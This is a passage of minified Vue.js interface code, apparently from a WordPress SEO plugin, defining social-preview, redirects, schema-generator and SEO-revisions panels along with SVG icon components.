title and description that will be displayed when your site is shared on social media. Click on the button below to view and edit the preview.",this.$td),editSnippet:this.$t.__("Preview & Edit",this.$td)}}},methods:{openModalEv(){this.settingsStore.changeTabSettings({setting:"modal",value:"social"}),this.postEditorStore.openModal(!0)}}},Ka={class:"aioseo-sidebar-content-title"};function Ga(t,e,i,s,o,r){const h=l("svg-pencil"),a=l("base-button"),_=l("core-settings-row");return t.$root._data.screenContext==="sidebar"?(n(),g(_,{key:0,name:o.strings.metaDescription,class:"snippet-description-row open-social-copy"},{content:d(()=>[u("div",Ka,m(o.strings.title),1),u("p",null,m(o.strings.sidebarCopy),1),c(a,{class:"open-social-modal gray small",onClick:r.openModalEv},{default:d(()=>[c(h),k(" "+m(o.strings.editSnippet),1)]),_:1},8,["onClick"])]),_:1},8,["name"])):p("",!0)}const Fa=S(Ua,[["render",Ga]]);const za={setup(){return{postEditorStore:E(),settingsStore:Z()}},components:{BaseRadioToggle:me,CoreMainTabs:ot,CoreSettingsRow:N,Facebook:Ha,Twitter:Na,SocialSideBar:Fa,SvgDesktop:Pe,SvgMobile:xe},props:{parentComponentContext:String},data(){return{strings:{pageName:this.$t.__("Social",this.$td)},tabs:[{slug:"facebook",name:this.$t.__("Facebook",this.$td)},{slug:"twitter",name:this.$t.__("Twitter",this.$td)}]}},computed:{initTab:function(){let t=this.settingsStore.metaBoxTabs.social;return st()["social-tab"]&&(t=st()["social-tab"]),this.parentComponentContext==="modal"&&(t=this.settingsStore.metaBoxTabs.socialModal),t}},mounted(){setTimeout(()=>{st()["social-tab"]&&Lt("social-tab")},500)},methods:{isMobilePreviewEv(t){this.postEditorStore.changeSocialPreview(t)},processChangeTab(t){this.parentComponentContext==="modal"?this.settingsStore.changeTabSettings({setting:"socialModal",value:t}):this.settingsStore.changeTabSettings({setting:"social",value:t})}}},qa={class:"aioseo-tab-content aioseo-post-social"};function Wa(t,e,i,s,o,r){const h=l("core-main-tabs"),a=l("svg-desktop"),_=l("svg-mobile"),y=l("base-radio-toggle"),C=l("core-settings-row"),$=l("social-side-bar");return n(),f("div",qa,[c(C,{class:"mobile-radio-buttons"},{content:d(()=>[c(h,{tabs:o.tabs,showSaveButton:!1,active:r.initTab,internal:"",onChanged:e[0]||(e[0]=b=>r.processChangeTab(b))},null,8,["tabs","active"]),t.$root._data.screenContext==="metabox"||i.parentComponentContext==="modal"?(n(),g(y,{key:0,modelValue:s.postEditorStore.currentPost.socialMobilePreview,"onUpdate:modelValue":r.isMobilePreviewEv,name:"previewSocialIsMobile",class:"circle",options:[{label:"desktop",value:!1,activeClass:"dark",slot:"desktop"},{label:"mobile",value:!0,slot:"mobile"}]},{desktop:d(()=>[c(a)]),mobile:d(()=>[c(_)]),_:1},8,["modelValue","onUpdate:modelValue"])):p("",!0)]),_:1}),c(at,{name:"route-fade",mode:"out-in"},{default:d(()=>[(n(),g(H(r.initTab)))]),_:1}),this.parentComponentContext!=="modal"?(n(),g($,{key:0})):p("",!0)])}const Ie=S(za,[["render",Wa]]);const ja={setup(){return{settingsStore:Z()}},components:{CoreMainTabs:ot,CoreSettingsRow:N,General:He,Social:Ie,SvgSettings:Ce,SvgShare:$e},data(){return{strings:{pageName:this.$t.__("Modal Content",this.$td)},tabs:[{slug:"general",icon:"svg-settings",name:this.$t.__("General",this.$td)},{slug:"social",icon:"svg-share",name:this.$t.__("Social",this.$td)}]}},computed:{getTabs(){return this.tabs.filter(t=>j(`aioseo_page_${t.slug}_settings`))}},methods:{processChangeTab(t){this.settingsStore.changeTabSettings({setting:"modal",value:t})}}},Za={class:"aioseo-modal-content"},Ya={class:"mobile-radio-buttons"},Ja={class:"component-wrapper"};function Xa(t,e,i,s,o,r){const h=l("core-main-tabs");return n(),f("div",Za,[u("div",Ya,[c(h,{tabs:r.getTabs,showSaveButton:!1,active:s.settingsStore.metaBoxTabs.modal||"general",internal:"",onChanged:e[0]||(e[0]=a=>r.processChangeTab(a))},null,8,["tabs","active"])]),u("div",Ja,[c(at,{name:"route-fade",mode:"out-in"},{default:d(()=>[(n(),g(H(s.settingsStore.metaBoxTabs.modal||"general"),{parentComponentContext:"modal"}))]),_:1})])])}const Qa=S(ja,[["render",Xa]]);const tl={setup(){return{postEditorStore:E()}},components:{CoreSettingsRow:N,SvgRightArrowShort:Gt},data(){return{strings:{title:this.$t.__("Redirects",this.$td),description:this.$t.__("Here you can add a redirect or view your existing redirects from this page. Click on the button below to view the Redirects panel.",this.$td),button:this.$t.__("Open Redirects",this.$td)}}}},el={class:"aioseo-redirects-sidebar"},sl={class:"aioseo-sidebar-content-title"};function ol(t,e,i,s,o,r){const h=l("svg-right-arrow-short"),a=l("base-button"),_=l("core-settings-row");return n(),f("div",el,[t.$root._data.screenContext==="sidebar"?(n(),g(_,{key:0,class:"snippet-description-row open-redirects-copy"},{content:d(()=>[u("div",sl,m(o.strings.title),1),u("p",null,m(o.strings.description),1),c(a,{class:"open-redirects-modal gray small",onClick:s.postEditorStore.toggleRedirectsModal},{default:d(()=>[c(h),k(" "+m(o.strings.button),1)]),_:1},8,["onClick"])]),_:1})):p("",!0)])}const il=S(tl,[["render",ol],["__scopeId","data-v-042691c3"]]),rl={setup(){return{postEditorStore:E()}},components:{CoreModalPortal:Q,RedirectsSideBar:il,RedirectsLite:qs},props:{parentComponentContext:String},data(){return{strings:{modalHeader:this.$t.__("Redirects",this.$td)}}}},nl={class:"bd"};function al(t,e,i,s,o,r){const h=l("redirects-lite"),a=l("core-modal-portal"),_=l("redirects-side-bar");return n(),f("div",null,[t.$root._data.screenContext==="metabox"?(n(),g(h,{key:0,noCoreCard:!0,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])):p("",!0),s.postEditorStore.currentPost.redirects.modalOpen&&t.$root._data.screenContext==="sidebar"?(n(),g(a,{key:1,classes:["aioseo-redirects","modal"],onClose:s.postEditorStore.toggleRedirectsModal},{headerTitle:d(()=>[k(m(o.strings.modalHeader),1)]),body:d(()=>[u("div",nl,[c(h,{noCoreCard:!0,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])])]),_:1},8,["onClose"])):p("",!0),this.parentComponentContext!=="modal"?(n(),g(_,{key:2})):p("",!0)])}const se=S(rl,[["render",al]]),ll={};function dl(t,e){return n(),f("div")}const cl=S(ll,[["render",dl]]),ul={setup(){return{addons:fe,licenseStore:B()}},components:{Redirects:se,RedirectsActivate:cl,RedirectsLite:se},props:{parentComponentContext:String}},hl={class:"aioseo-tab-content"};function pl(t,e,i,s,o,r){const h=l("Redirects",!0),a=l("RedirectsLite"),_=l("RedirectsActivate");return n(),f("div",hl,[!s.licenseStore.isUnlicensed&&s.addons.isActive("aioseo-redirects")&&!s.addons.requiresUpgrade("aioseo-redirects")?(n(),g(h,{key:0,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])):p("",!0),s.licenseStore.isUnlicensed||s.addons.requiresUpgrade("aioseo-redirects")?(n(),g(a,{key:1,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])):p("",!0),!s.licenseStore.isUnlicensed&&!s.addons.isActive("aioseo-redirects")&&s.addons.canActivate("aioseo-redirects")&&!s.addons.requiresUpgrade("aioseo-redirects")?(n(),g(_,{key:2,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])):p("",!0)])}const gl=S(ul,[["render",pl]]),_l={};function ml(t,e){return n(),f("div")}const fl=S(_l,[["render",ml]]),yl={};function Sl(t,e){return n(),f("div")}const bl=S(yl,[["render",Sl]]),vl={};function kl(t,e){return n(),f("div")}const wl=S(vl,[["render",kl]]),Cl={};function $l(t,e){return n(),f("div")}const El=S(Cl,[["render",$l]]),Pl={};function xl(t,e){return n(),f("div")}const Tl=S(Pl,[["render",xl]]),Al={};function Ml(t,e){return n(),f("div")}const Ll=S(Al,[["render",Ml]]),Hl={};function Il(t,e){return n(),f("div")}const Bl=S(Hl,[["render",Il]]),Rl={};function Dl(t,e){return n(),f("div")}const Vl=S(Rl,[["render",Dl]]),Ol={};function Nl(t,e){return n(),f("div")}const Ul=S(Ol,[["render",Nl]]),Kl={};function Gl(t,e){return n(),f("div")}const Fl=S(Kl,[["render",Gl]]),zl={};function ql(t,e){return n(),f("div")}const Wl=S(zl,[["render",ql]]),jl={};function Zl(t,e){return n(),f("div")}const Yl=S(jl,[["render",Zl]]),Jl={};function Xl(t,e){return n(),f("div")}const Ql=S(Jl,[["render",Xl]]),td={};function ed(t,e){return n(),f("div")}const sd=S(td,[["render",ed]]),od={};function id(t,e){return n(),f("div")}const rd=S(od,[["render",id]]),nd={};function ad(t,e){return n(),f("div")}const ld=S(nd,[["render",ad]]),dd={};function cd(t,e){return n(),f("div")}const ud=S(dd,[["render",cd]]),hd={};function pd(t,e){return n(),f("div")}const gd=S(hd,[["render",pd]]),_d={},md={viewBox:"0 0 11 12",fill:"currentColor",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-trash"},fd=u("path",{d:"M8.0013 4V10.6667H2.66797V4H8.0013ZM7.0013 0H3.66797L3.0013 0.666667H0.667969V2H10.0013V0.666667H7.66797L7.0013 0ZM9.33463 2.66667H1.33464V10.6667C1.33464 11.4 1.93464 12 2.66797 12H8.0013C8.73464 12 9.33463 11.4 9.33463 10.6667V2.66667Z",fill:"currentColor"},null,-1),yd=[fd];function Sd(t,e){return n(),f("svg",md,yd)}const bd=S(_d,[["render",Sd]]),vd={},kd={class:"aioseo-web-page",viewBox:"0 0 14 14",xmlns:"http://www.w3.org/2000/svg"},wd=u("path",{d:"M3.6666 10.3H8.24994V9.3H3.6666V10.3ZM3.6666 7.5H10.3499V6.5H3.6666V7.5ZM3.6666 4.68333H10.3499V3.68333H3.6666V4.68333ZM2.08327 13.2333C1.72771 13.2333 1.41938 13.1028 1.15827 12.8417C0.897157 12.5806 0.766602 12.2722 0.766602 11.9167V2.08333C0.766602 1.71667 0.897157 1.40278 1.15827 1.14167C1.41938 0.880556 1.72771 0.75 2.08327 0.75H11.9166C12.2833 0.75 12.5972 0.880556 12.8583 1.14167C13.1194 1.40278 13.2499 1.71667 13.2499 2.08333V11.9167C13.2499 12.2722 13.1194 12.5806 12.8583 12.8417C12.5972 13.1028 12.2833 13.2333 11.9166 13.2333H2.08327ZM2.08327 11.9167H11.9166V2.08333H2.08327V11.9167ZM2.08327 2.08333V11.9167V2.08333Z",fill:"currentColor"},null,-1),Cd=[wd];function $d(t,e){return n(),f("svg",kd,Cd)}const Ed=S(vd,[["render",$d]]),Be={components:{Article:fl,Book:bl,Course:wl,Dataset:El,Event:Tl,FAQPage:Ll,FactCheck:Bl,HowTo:Vl,JobPosting:Ul,Movie:Fl,Music:Wl,Person:Yl,Product:Ql,Recipe:sd,Service:rd,SoftwareApplication:ld,Video:ud,WebPage:gd,SvgArticle:We,SvgBook:je,SvgCircleQuestionMark:Dt,SvgCustomSchema:Ze,SvgCopy:Ye,SvgCourse:Je,SvgDataset:Xe,SvgEvent:Qe,SvgFaqPage:ts,SvgFactCheck:es,SvgFile:ss,SvgFileEdit:os,SvgGoogleSmall:is,SvgHowTo:rs,SvgJobPosting:ns,SvgMovie:as,SvgMusic:ls,SvgPencil:ft,SvgPerson:ds,SvgProduct:cs,SvgRecipe:us,SvgService:hs,SvgSoftwareApplication:ps,SvgTerminal:gs,SvgTrash:bd,SvgVideo:_s,SvgWebPage:Ed},data(){return{graphs:[{slug:"article",graphName:"Article",label:this.$t.__("Article",this.$td)},{slug:"book",graphName:"Book",label:this.$t.__("Book",this.$td)},{slug:"course",graphName:"Course",label:this.$t.__("Course",this.$td)},{slug:"dataset",graphName:"Dataset",label:this.$t.__("Dataset",this.$td)},{slug:"event",graphName:"Event",label:this.$t.__("Event",this.$td)},{slug:"faq-page",graphName:"FAQPage",label:this.$t.__("FAQ",this.$td)},{slug:"fact-check",graphName:"FactCheck",label:this.$t.__("Fact Check",this.$td)},{slug:"how-to",graphName:"HowTo",label:this.$t.__("How To",this.$td)},{slug:"job-posting",graphName:"JobPosting",label:this.$t.__("Job Posting",this.$td)},{slug:"movie",graphName:"Movie",label:this.$t.__("Movie",this.$td)},{slug:"music",graphName:"Music",label:this.$t.__("Music",this.$td)},{slug:"person",graphName:"Person",label:this.$t.__("Person",this.$td)},{slug:"product",graphName:"Product",label:this.$t.__("Product",this.$td)},{slug:"recipe",graphName:"Recipe",label:this.$t.__("Recipe",this.$td)},{slug:"service",graphName:"Service",label:this.$t.__("Service",this.$td)},{slug:"software-application",graphName:"SoftwareApplication",label:this.$t.__("Software",this.$td)},{slug:"video",graphName:"Video",label:this.$t.__("Video",this.$td)},{slug:"web-page",graphName:"WebPage",label:this.$t.__("Web Page",this.$td)}],childGraphs:{Article:[{childGraphName:"BlogPosting",label:this.$t.__("Blog Post",this.$td)},{childGraphName:"NewsArticle",label:this.$t.__("News Article",this.$td)}],Music:[{childGraphName:"MusicAlbum",label:this.$t.__("Music Album",this.$td)},{childGraphName:"MusicGroup",label:this.$t.__("Music Group",this.$td)}],WebPage:[{childGraphName:"WebPage",label:this.$t.__("Web Page",this.$td)},{childGraphName:"AboutPage",label:this.$t.__("About Page",this.$td)},{childGraphName:"CheckoutPage",label:this.$t.__("Checkout Page",this.$td)},{childGraphName:"CollectionPage",label:this.$t.__("Collection Page",this.$td)},{childGraphName:"ContactPage",label:this.$t.__("Contact Page",this.$td)},{childGraphName:"ItemPage",label:this.$t.__("Item Page",this.$td)},{childGraphName:"MedicalPage",label:this.$t.__("Medical Page",this.$td)},{childGraphName:"ProfilePage",label:this.$t.__("Profile Page",this.$td)},{childGraphName:"RealEstateListing",label:this.$t.__("Real Estate Listing",this.$td)},{childGraphName:"SearchResultsPage",label:this.$t.__("Search Results Page",this.$td)}]}}},methods:{getParentGraphName(t){let e="";return Object.entries(this.childGraphs).forEach(i=>{const s=i[0];i[1].forEach(o=>{e||t===o.childGraphName&&(e=s)})}),e||t}}};const Pd={mixins:[Be],props:{graph:Object,customGraph:Boolean,defaultGraph:String},computed:{graphLabel(){if(this.customGraph)return this.$t.__("Custom Schema",this.$td)+" - "+this.graph.graphName;if(this.defaultGraph)return this.formatDefaultGraphName(this.defaultGraph);if(this.graph.label)return this.graph.label;const t=this.graph.slug.toLowerCase();return this.graphs.find(e=>e.slug===t).label},graphIcon(){if(this.customGraph)return"svg-custom-schema";if(this.defaultGraph){const t=this.getParentGraphSlug(this.defaultGraph);return t?"svg-"+t:"svg-custom-schema"}return"svg-"+this.graph.slug}},methods:{getParentGraphSlug(t){Object.entries(this.childGraphs).forEach(i=>{const s=i[0];i[1].forEach(o=>{t===o.childGraphName&&(t=s)})});let e="";return this.graphs.forEach(i=>{i.graphName===t&&(e=i.slug)}),e},formatDefaultGraphName(t){let e="",i=t;return Object.entries(this.childGraphs).forEach(s=>{const o=s[0];s[1].forEach(r=>{e||t===r.childGraphName&&(e=o,i=r.label,this.graphs.forEach(h=>{h.graphName===o&&(e=h.label)}))})}),e?e+" - "+i+" "+this.$t.__("(Default)",this.$td):t+" "+this.$t.__("(Default)",this.$td)}}},xd={class:"graph-container"},Td={class:"graph"},Ad={class:"left"},Md=["title"],Ld={class:"right action-buttons"};function Hd(t,e,i,s,o,r){return n(),f("div",xd,[u("div",Td,[u("div",Ad,[(n(),g(H(r.graphIcon))),u("span",{title:r.graphLabel},m(r.graphLabel),9,Md)]),u("div",Ld,[q(t.$slots,"buttons")])])])}const Re=S(Pd,[["render",Hd]]);const Id={emits:["close"],mixins:[Be],components:{CoreBlur:bt,CoreMainTabs:ot,CoreModalPortal:Q,CoreTooltip:F,Cta:ye,GraphCard:Re,SvgCirclePlus:St},data(){return{strings:{schemaGenerator:this.$t.__("Schema Generator",this.$td),headerTooltip:this.$t.sprintf(this.$t.__("Use our powerful Schema Generator to configure Schema Markup for your content. Search Engines use structured data to better understand what your site is about as well as to display rich snippets in search results. %1$s",this.$td),this.$links.getDocLink(this.$constants.GLOBAL_STRINGS.learnMore,"schema",!0)),searchSchema:this.$t.__("Search Schema",this.$td),ctaDescription:this.$t.__("Easily generate unlimited schema markup for your content to help you rank higher in search results. Our schema validator ensures your schema works out of the box.",this.$td),ctaButtonText:this.$t.__("Unlock Schema Generator",this.$td),ctaHeader:this.$t.sprintf(this.$t.__("Schema Generator is a %1$s Feature",this.$td),"PRO")},features:[this.$t.__("Unlimited Schema",this.$td),this.$t.__("Validate with Google",this.$td),this.$t.__("Increase Rankings",this.$td),this.$t.__("Additional Schema Types",this.$td)],tabs:[{slug:"schema-templates",icon:"svg-file",name:this.$t.__("Schema Templates",this.$td),component:"templates"},{slug:"custom-schema",icon:"svg-file-edit",name:this.$t.__("Custom Schema",this.$td),component:"custom"},{slug:"schema-validation",icon:"svg-terminal",name:this.$t.__("Schema Validation",this.$td),component:"validation"}],templatesTabs:[{slug:"schema-catalog",name:this.$t.__("Schema Catalog",this.$td)},{slug:"your-templates",name:this.$t.__("Your Templates",this.$td)}]}}},Bd={class:"title"},Rd=["innerHTML"],Dd={class:"schema-templates"},Vd={class:"main"},Od={class:"schema-catalog"},Nd={class:"graphs"};function Ud(t,e,i,s,o,r){const h=l("svg-circle-question-mark"),a=l("core-tooltip"),_=l("core-main-tabs"),y=l("base-input"),C=l("svg-circle-plus"),$=l("base-button"),b=l("graph-card"),v=l("core-blur"),w=l("cta"),R=l("core-modal-portal");return n(),g(R,{classes:["aioseo-post-schema-modal-cta"],onClose:e[0]||(e[0]=D=>t.$emit("close"))},{headerTitle:d(()=>[u("div",Bd,m(o.strings.schemaGenerator),1),c(a,null,{tooltip:d(()=>[u("span",{innerHTML:o.strings.headerTooltip},null,8,Rd)]),default:d(()=>[c(h)]),_:1})]),body:d(()=>[c(v,null,{default:d(()=>[c(_,{tabs:o.tabs,active:"schema-templates",showSaveButton:!1},{"var-tab-icon":d(({tab:D})=>[(n(),g(H(D.icon)))]),_:1},8,["tabs"]),u("div",Dd,[c(_,{tabs:o.templatesTabs,active:"schema-catalog",showSaveButton:!1},{"var-tab-icon":d(({tab:D})=>[(n(),g(H(D.icon)))]),_:1},8,["tabs"]),u("div",Vd,[c(y,{class:"search",size:"medium",prependIcon:"search",placeholder:o.strings.searchSchema},null,8,["placeholder"]),u("div",Od,[u("div",Nd,[(n(!0),f(K,null,X(t.graphs,(D,tt)=>(n(),g(b,{key:D.graphName+tt,graph:D},{buttons:d(()=>[c($,{class:"small",type:"gray"},{default:d(()=>[c(C)]),_:1})]),_:2},1032,["graph"]))),128))])])])])]),_:1}),c(w,{"cta-link":t.$links.getPricingUrl("schema-generator","schema-generator-upsell"),"button-text":o.strings.ctaButtonText,"learn-more-link":t.$links.getUpsellUrl("schema-generator",null,t.$isPro?"pricing":"liteUpgrade"),"feature-list":o.features},{"header-text":d(()=>[k(m(o.strings.ctaHeader),1)]),description:d(()=>[k(m(o.strings.ctaDescription),1)]),_:1},8,["cta-link","button-text","learn-more-link","feature-list"])]),_:1})}const Kd=S(Id,[["render",Ud]]);const Gd={setup(){return{postEditorStore:E()}},components:{CoreAlert:G,CoreSettingsRow:N,CoreTooltip:F,CtaModal:Kd,GraphCard:Re,SvgEye:Ut},props:{parentComponentContext:String},data(){return{modalOpenMetabox:!1,modalOpenSidebar:!1,strings:{sidebarDescription:this.$t.__("Configure Schema Markup for your content. Search engines use structured data to display rich results in SERPs.",this.$td),noGraphs:this.$t.__("You have not added any schema yet. You can add any schema graphs you like via the Schema Generator below.",this.$td),schemaInUse:this.$t.__("Schema In Use",this.$td),generateSchema:this.$t.__("Generate Schema",this.$td),validateSchema:this.$t.__("Validate Schema",this.$td),defaultGraphTooltip:this.$t.__("This is the default graph for this post type. All data for this graph will be automatically generated.",this.$td)}}},computed:{isSidebar(){return this.$root._data.screenContext==="sidebar"}}},Fd={class:"graphs"},zd={key:0,class:"sidebar-description"},qd={class:"description"},Wd=["innerHTML"],jd=["innerHTML"],Zd={class:"buttons"};function Yd(t,e,i,s,o,r){const h=l("svg-eye"),a=l("base-button"),_=l("core-tooltip"),y=l("graph-card"),C=l("core-alert"),$=l("cta-modal"),b=l("core-settings-row");return n(),f("div",{class:P(["aioseo-tab-content aioseo-post-schema",[{sidebar:r.isSidebar}]])},[c(b,{name:o.strings.schemaInUse},{content:d(()=>[u("div",Fd,[r.isSidebar?(n(),f("div",zd,[u("p",qd,m(o.strings.sidebarDescription),1),u("p",{class:"description",innerHTML:t.$links.getDocLink(t.$constants.GLOBAL_STRINGS.learnMore,"schema",!0)},null,8,Wd)])):p("",!0),s.postEditorStore.currentPost.schema.default.graphName&&s.postEditorStore.currentPost.schema.default.isEnabled?(n(),g(y,{key:1,defaultGraph:s.postEditorStore.currentPost.schema.default.graphName},{buttons:d(()=>[c(_,{offset:r.isSidebar?"-70px,0":"0,0"},{tooltip:d(()=>[u("span",{innerHTML:o.strings.defaultGraphTooltip},null,8,jd)]),default:d(()=>[c(a,{class:"small no-hover",type:"gray"},{default:d(()=>[c(h)]),_:1})]),_:1},8,["offset"])]),_:1},8,["defaultGraph"])):p("",!0)]),u("div",Zd,[!s.postEditorStore.currentPost.schema.default.graphName||!s.postEditorStore.currentPost.schema.default.isEnabled?(n(),g(C,{key:0,class:"no-graphs",type:"yellow"},{default:d(()=>[k(m(o.strings.noGraphs),1)]),_:1})):p("",!0),c(a,{class:"medium",type:"blue",onClick:e[0]||(e[0]=v=>{o.modalOpenMetabox=!0,o.modalOpenSidebar=!0})},{default:d(()=>[k(m(o.strings.generateSchema),1)]),_:1}),c(a,{class:"medium",type:"gray",onClick:e[1]||(e[1]=v=>{o.modalOpenMetabox=!0,o.modalOpenSidebar=!0})},{default:d(()=>[k(m(o.strings.validateSchema),1)]),_:1})]),!r.isSidebar&&o.modalOpenMetabox?(n(),g($,{key:0,onClose:e[2]||(e[2]=v=>o.modalOpenMetabox=!1)})):p("",!0),r.isSidebar&&o.modalOpenSidebar?(n(),g($,{key:1,onClose:e[3]||(e[3]=v=>o.modalOpenSidebar=!1)})):p("",!0)]),_:1},8,["name"])],2)}const oe=S(Gd,[["render",Yd]]),Jd={setup(){return{licenseStore:B()}},components:{Schema:oe,SchemaLite:oe},props:{parentComponentContext:String}},Xd={class:"aioseo-post-schema-view"};function Qd(t,e,i,s,o,r){const h=l("schema",!0),a=l("schema-lite");return n(),f("div",Xd,[s.licenseStore.isUnlicensed?p("",!0):(n(),g(h,{key:0,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])),s.licenseStore.isUnlicensed?(n(),g(a,{key:1,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])):p("",!0)])}const tc=S(Jd,[["render",Qd]]);const De=t=>(ue("data-v-20175fdb"),t=t(),he(),t),ec={class:"aioseo-seo-revision-list-item"},sc={class:"aioseo-seo-revision-list-item__author"},oc={class:"aioseo-seo-revision-list-item__author__avatar"},ic={class:"aioseo-seo-revision-list-item__author__name"},rc=De(()=>u("div",{class:"aioseo-seo-revision-list-item__date"}," 1 week ago (2 Dec, 2022 @ 18:28:57) ",-1)),nc={class:"aioseo-seo-revision-list-item__action"},ac=De(()=>u("span",{class:"aioseo-seo-revision-list-item__action__compare"}," Compare ",-1)),lc={class:"aioseo-seo-revision-list-item__action__view"},dc={class:"aioseo-seo-revision-list-item__action__delete"},cc={__name:"ListItem",setup(t){const{currentUser:e}=le(lt());return(i,s)=>(n(),f("div",ec,[u("div",sc,[u("span",oc,[c(W(Ws),{src:W(e).avatar.url,size:W(e).avatar.size},null,8,["src","size"])]),u("span",ic,m(W(Ge)(W(e).display_name,30)),1)]),rc,u("div",nc,[ac,u("span",lc,[c(W(Ut),{width:"18"})]),u("span",dc,[c(W(yt),{width:"18"})])])]))}},uc=S(cc,[["__scopeId","data-v-20175fdb"]]);const hc={components:{SeoRevisionListItem:uc}},pc={class:"aioseo-seo-revisions-list"};function gc(t,e,i,s,o,r){const h=l("seo-revision-list-item");return n(),f("div",pc,[(n(),f(K,null,X(13,a=>c(h,{key:"seo-revision-list-item-"+a})),64))])}const _c=S(hc,[["render",gc],["__scopeId","data-v-7b502c37"]]);const mc={setup(){return{seoRevisionsStore:lt()}},components:{CoreBlur:bt,CoreModalPortal:Q,CoreSettingsRow:N,SeoRevisionsList:_c,SeoRevisionsUpsell:js,SvgRightArrowShort:Gt},data(){return{strings:{button:this.$t.__("Open SEO Revisions",this.$td),description:this.$t.__("With our powerful revisions feature for all your SEO data, never lose the exact SEO title or description (and more!) that helped you rank higher in search results and restore it back in a single click.",this.$td),seoRevisions:this.$t.__("SEO Revisions",this.$td)}}}},fc={key:0,class:"aioseo-seo-revisions-metabox"},yc={key:1,class:"aioseo-seo-revisions-sidebar"},Sc={class:"aioseo-seo-revisions-sidebar__modal-body"},bc={class:"description"};function vc(t,e,i,s,o,r){const h=l("seo-revisions-list"),a=l("core-blur"),_=l("seo-revisions-upsell"),y=l("core-modal-portal"),C=l("svg-right-arrow-short"),$=l("base-button"),b=l("core-settings-row");return t.$root._data.screenContext==="metabox"?(n(),f("div",fc,[c(a,null,{default:d(()=>[c(h)]),_:1}),c(_,{"parent-component-context":"metabox"})])):t.$root._data.screenContext==="sidebar"?(n(),f("div",yc,[s.seoRevisionsStore.modalOpenSidebar?(n(),g(y,{key:0,classes:[],onClose:s.seoRevisionsStore.toggleModalOpenSidebar},{headerTitle:d(()=>[k(m(o.strings.seoRevisions),1)]),body:d(()=>[u("div",Sc,[c(a,null,{default:d(()=>[c(h)]),_:1}),c(_,{"parent-component-context":"modal"})])]),_:1},8,["onClose"])):p("",!0),c(b,{align:""},{name:d(()=>[k(m(o.strings.seoRevisions),1)]),description:d(()=>[u("p",bc,m(o.strings.description),1)]),content:d(()=>[c($,{class:"gray small",onClick:M(s.seoRevisionsStore.toggleModalOpenSidebar,["stop","exact"])},{default:d(()=>[c(C,{width:"10"}),k(" "+m(o.strings.button),1)]),_:1},8,["onClick"])]),_:1})])):p("",!0)}const ie=S(mc,[["render",vc],["__scopeId","data-v-9fdcecdd"]]);const kc={setup(){return{licenseStore:B()}},data(){return{license:gt}},components:{SeoRevisions:ie,SeoRevisionsLite:ie},props:{parentComponentContext:String}},wc={class:"aioseo-seo-revisions aioseo-tab-content"};function Cc(t,e,i,s,o,r){const h=l("seo-revisions",!0),a=l("seo-revisions-lite");return n(),f("div",wc,[!s.licenseStore.isUnlicensed&&o.license.hasCoreFeature("seo-revisions")?(n(),g(h,{key:0,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"])):(n(),g(a,{key:1,parentComponentContext:i.parentComponentContext},null,8,["parentComponentContext"]))])}const $c=S(kc,[["render",Cc],["__scopeId","data-v-5e3c402f"]]);const Ec={__name:"CountBadge",setup(t){const{itemsTotalCount:e}=le(lt()),i=vs(()=>99<e.value?"99+":e.value);return(s,o)=>W(e)?(n(),f("span",{key:0,class:P(["aioseo-seo-revisions-count-badge",{"aioseo-seo-revisions-count-badge--ml":s.$root._data.screenContext==="sidebar","aioseo-seo-revisions-count-badge--mr":s.$root._data.screenContext==="metabox","aioseo-seo-revisions-count-badge--sm":99<W(e)}])},m(i.value),3)):p("",!0)}},Pc={},xc={fill:"currentColor",xmlns:"http://www.w3.org/2000/svg",viewBox:"2.25 4 17.75 16"},Tc=u("path",{d:"M5.5 12h1.75l-2.5 3-2.5-3H4a8 8 0 113.134 6.35l.907-1.194A6.5 6.5 0 105.5 12zm9.53 1.97l-2.28-2.28V8.5a.75.75 0 00-1.5 0V12a.747.747 0 00.218.529l1.282-.84-1.28.842 2.5 2.5a.75.75 0 101.06-1.061z"},null,-1),Ac=[Tc];function Mc(t,e){return n(),f("svg",xc,Ac)}const Lc=S(Pc,[["render",Mc]]),Hc={},Ic={viewBox:"0 0 14 15",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-circle-information-solid"},Bc=u("path",{d:"M7.00016 0.833334C3.32016 0.833334 0.333496 3.82 0.333496 7.5C0.333496 11.18 3.32016 14.1667 7.00016 14.1667C10.6802 14.1667 13.6668 11.18 13.6668 7.5C13.6668 3.82 10.6802 0.833334 7.00016 0.833334ZM7.66683 10.8333H6.3335V9.5H7.66683V10.8333ZM7.66683 8.16667H6.3335V4.16667H7.66683V8.16667Z",fill:"currentColor"},null,-1),Rc=[Bc];function Dc(t,e){return n(),f("svg",Ic,Rc)}const Vc=S(Hc,[["render",Dc]]),Oc={},Nc={viewBox:"0 0 12 15",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-receipt"},Uc=u("path",{d:"M11 1.83325L10 0.833252L9 1.83325L8 0.833252L7 1.83325L6 0.833252L5 1.83325L4 0.833252L3 1.83325L2 0.833252L1 1.83325L0 0.833252V14.1666L1 13.1666L2 14.1666L3 13.1666L4 14.1666L5 13.1666L6 14.1666L7 13.1666L8 14.1666L9 13.1666L10 14.1666L11 13.1666L12 14.1666V0.833252L11 1.83325ZM1.33333 12.2266V2.77328H10.6667V12.2266H1.33333ZM10 10.8333V9.49992H2V10.8333H10ZM10 6.83325V8.16659H2V6.83325H10ZM10 5.49992V4.16658H2V5.49992H10Z",fill:"currentColor"},null,-1),Kc=[Uc];function Gc(t,e){return n(),f("svg",Nc,Kc)}const Fc=S(Oc,[["render",Gc]]),zc={},qc={viewBox:"0 0 15 15",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-crossed-arrows"},Wc=u("path",{"fill-rule":"evenodd","clip-rule":"evenodd",d:"M6.26625 4.7737L1.73375 0.249954L0.5 1.4837L5.02375 6.00745L6.26625 4.7737ZM9.6875 0.249954L11.4725 2.03495L0.5 13.0162L1.73375 14.25L12.715 3.27745L14.5 5.06245V0.249954H9.6875ZM8.74251 9.71747L9.97626 8.48372L12.715 11.2225L14.5 9.43746V14.25H9.68751L11.4813 12.4562L8.74251 